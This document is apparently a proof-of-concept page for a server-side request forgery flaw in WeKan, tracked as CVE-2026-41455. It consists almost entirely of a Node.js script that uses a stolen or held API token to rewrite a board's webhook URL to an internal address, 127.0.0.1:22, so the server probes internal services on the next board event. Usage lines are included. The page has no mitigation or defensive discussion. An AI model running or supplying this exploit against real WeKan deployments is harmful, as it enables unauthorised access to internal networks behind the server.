CVE-2026-41455 WeKan SSRF漏洞

// PoC for WeKan SSRF (CVE-2026-41455) // This script demonstrates how to update a webhook URL to point to an internal service. // An attacker needs valid board edit permissions and an API token. const fetch = require('node-fetch'); async function exploitSSRF(targetUrl, boardId, integrationId, apiToken) { // Construct the malicious internal URL const internalUrl = 'http://127.0.0.1:22'; // Attacker controlled internal target const headers = { 'Authorization': `Bearer ${apiToken}`, 'Content-Type': 'application/json' }; const body = { 'url': internalUrl, 'isEnabled': true }; try { const response = await fetch(`${targetUrl}/api/boards/${boardId}/integrations/${integrationId}`, { method: 'PUT', headers: headers, body: JSON.stringify(body) }); if (response.ok) { console.log('[+] Webhook updated successfully. SSRF triggered on next board event.'); console.log(`[+] Target set to: ${internalUrl}`); } else { console.log('[-] Failed to update webhook.'); } } catch (error) { console.error('Error:', error); } } // Usage: // exploitSSRF('http://target-wekan-url', 'BOARD_ID', 'INTEGRATION_ID', 'USER_API_TOKEN');